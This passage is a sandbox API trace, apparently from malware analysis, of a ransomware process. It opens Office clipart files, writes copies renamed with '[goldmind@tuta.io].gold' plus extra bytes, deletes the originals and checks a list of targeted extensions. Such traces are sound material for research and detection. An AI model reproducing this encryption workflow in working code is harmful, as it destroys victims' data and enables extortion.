Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0094.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.931] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.931] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.931] GetLastError () returned 0x0 [0094.931] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1034, lpOverlapped=0x0) returned 1 [0094.933] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0094.933] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.933] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.933] SetEndOfFile (hFile=0x39c) returned 1 [0094.934] CloseHandle (hObject=0x39c) returned 1 [0094.934] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.934] SetEndOfFile (hFile=0x3b4) returned 1 [0094.936] CloseHandle (hObject=0x3b4) returned 1 [0094.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0094.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.938] lstrlenW (lpString=".doc") returned 4 [0094.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.938] lstrlenW (lpString=".docx") returned 5 [0094.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.938] lstrlenW (lpString=".pdf") returned 4 [0094.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.938] lstrlenW (lpString=".xls") returned 4 [0094.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.938] lstrlenW (lpString=".xlsx") returned 5 [0094.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.938] lstrlenW (lpString=".ppt") returned 4 [0094.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.938] lstrlenW (lpString=".zip") returned 4 [0094.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.938] lstrlenW (lpString=".rar") returned 4 [0094.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.938] lstrlenW (lpString=".bz2") returned 4 [0094.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.938] lstrlenW (lpString=".7z") returned 3 [0094.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.938] lstrlenW (lpString=".dbf") returned 4 [0094.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.938] lstrlenW (lpString=".1cd") returned 4 [0094.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.938] lstrlenW (lpString=".jpg") returned 4 [0094.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.939] lstrlenW (lpString=".doc") returned 4 [0094.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString=".docx") returned 5 [0094.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.939] lstrlenW (lpString=".pdf") returned 4 [0094.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString=".xls") returned 4 [0094.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.939] lstrlenW (lpString=".xlsx") returned 5 [0094.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.939] lstrlenW (lpString=".ppt") returned 4 [0094.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.939] lstrlenW (lpString=".zip") returned 4 [0094.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.939] lstrlenW (lpString=".rar") returned 4 [0094.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString=".bz2") returned 4 [0094.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString=".7z") returned 3 [0094.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.939] lstrlenW (lpString=".dbf") returned 4 [0094.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.939] lstrlenW (lpString=".1cd") returned 4 [0094.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0094.939] lstrlenW (lpString=".jpg") returned 4 [0094.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.939] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.939] lstrlenW (lpString="DD01772_.WMF") returned 12 [0094.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.941] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2300) returned 1 [0094.941] CloseHandle (hObject=0x3b4) returned 1 [0094.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0094.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.942] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.942] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.942] GetLastError () returned 0x0 [0094.942] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0094.944] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x900, lpOverlapped=0x0) returned 1 [0094.945] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.945] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.945] SetEndOfFile (hFile=0x39c) returned 1 [0094.945] CloseHandle (hObject=0x39c) returned 1 [0094.945] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.945] SetEndOfFile (hFile=0x3b4) returned 1 [0094.947] CloseHandle (hObject=0x3b4) returned 1 [0094.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0094.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.948] lstrlenW (lpString=".doc") returned 4 [0094.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.948] lstrlenW (lpString=".docx") returned 5 [0094.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.948] lstrlenW (lpString=".pdf") returned 4 [0094.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.948] lstrlenW (lpString=".xls") returned 4 [0094.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.948] lstrlenW (lpString=".xlsx") returned 5 [0094.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.948] lstrlenW (lpString=".ppt") returned 4 [0094.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.948] lstrlenW (lpString=".zip") returned 4 [0094.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.949] lstrlenW (lpString=".rar") returned 4 [0094.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString=".bz2") returned 4 [0094.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString=".7z") returned 3 [0094.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString=".dbf") returned 4 [0094.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString=".1cd") returned 4 [0094.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString=".jpg") returned 4 [0094.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString=".doc") returned 4 [0094.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString=".docx") returned 5 [0094.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.949] lstrlenW (lpString=".pdf") returned 4 [0094.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString=".xls") returned 4 [0094.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.949] lstrlenW (lpString=".xlsx") returned 5 [0094.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.949] lstrlenW (lpString=".ppt") returned 4 [0094.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString=".zip") returned 4 [0094.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.949] lstrlenW (lpString=".rar") returned 4 [0094.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString=".bz2") returned 4 [0094.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString=".7z") returned 3 [0094.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString=".dbf") returned 4 [0094.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.949] lstrlenW (lpString=".1cd") returned 4 [0094.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0094.950] lstrlenW (lpString=".jpg") returned 4 [0094.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.950] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.950] lstrlenW (lpString="DD01793_.WMF") returned 12 [0094.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.950] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3252) returned 1 [0094.950] CloseHandle (hObject=0x3b4) returned 1 [0094.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0094.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.144] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.144] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.191] GetLastError () returned 0x0 [0095.191] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xcb4, lpOverlapped=0x0) returned 1 [0095.216] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0095.217] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.217] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.217] SetEndOfFile (hFile=0x190) returned 1 [0095.217] CloseHandle (hObject=0x190) returned 1 [0095.217] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.217] SetEndOfFile (hFile=0x3a4) returned 1 [0095.219] CloseHandle (hObject=0x3a4) returned 1 [0095.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0095.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.313] lstrlenW (lpString=".doc") returned 4 [0095.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.313] lstrlenW (lpString=".docx") returned 5 [0095.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.313] lstrlenW (lpString=".pdf") returned 4 [0095.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.313] lstrlenW (lpString=".xls") returned 4 [0095.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.313] lstrlenW (lpString=".xlsx") returned 5 [0095.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.313] lstrlenW (lpString=".ppt") returned 4 [0095.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.313] lstrlenW (lpString=".zip") returned 4 [0095.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.313] lstrlenW (lpString=".rar") returned 4 [0095.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.313] lstrlenW (lpString=".bz2") returned 4 [0095.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.313] lstrlenW (lpString=".7z") returned 3 [0095.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.313] lstrlenW (lpString=".dbf") returned 4 [0095.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.313] lstrlenW (lpString=".1cd") returned 4 [0095.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.313] lstrlenW (lpString=".jpg") returned 4 [0095.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.314] lstrlenW (lpString=".doc") returned 4 [0095.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString=".docx") returned 5 [0095.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.314] lstrlenW (lpString=".pdf") returned 4 [0095.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString=".xls") returned 4 [0095.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.314] lstrlenW (lpString=".xlsx") returned 5 [0095.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.314] lstrlenW (lpString=".ppt") returned 4 [0095.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.314] lstrlenW (lpString=".zip") returned 4 [0095.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.314] lstrlenW (lpString=".rar") returned 4 [0095.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString=".bz2") returned 4 [0095.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString=".7z") returned 3 [0095.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.314] lstrlenW (lpString=".dbf") returned 4 [0095.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.314] lstrlenW (lpString=".1cd") returned 4 [0095.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0095.314] lstrlenW (lpString=".jpg") returned 4 [0095.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.314] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.314] lstrlenW (lpString="EN00397_.WMF") returned 12 [0095.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.315] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=17308) returned 1 [0095.315] CloseHandle (hObject=0x38c) returned 1 [0095.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0095.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 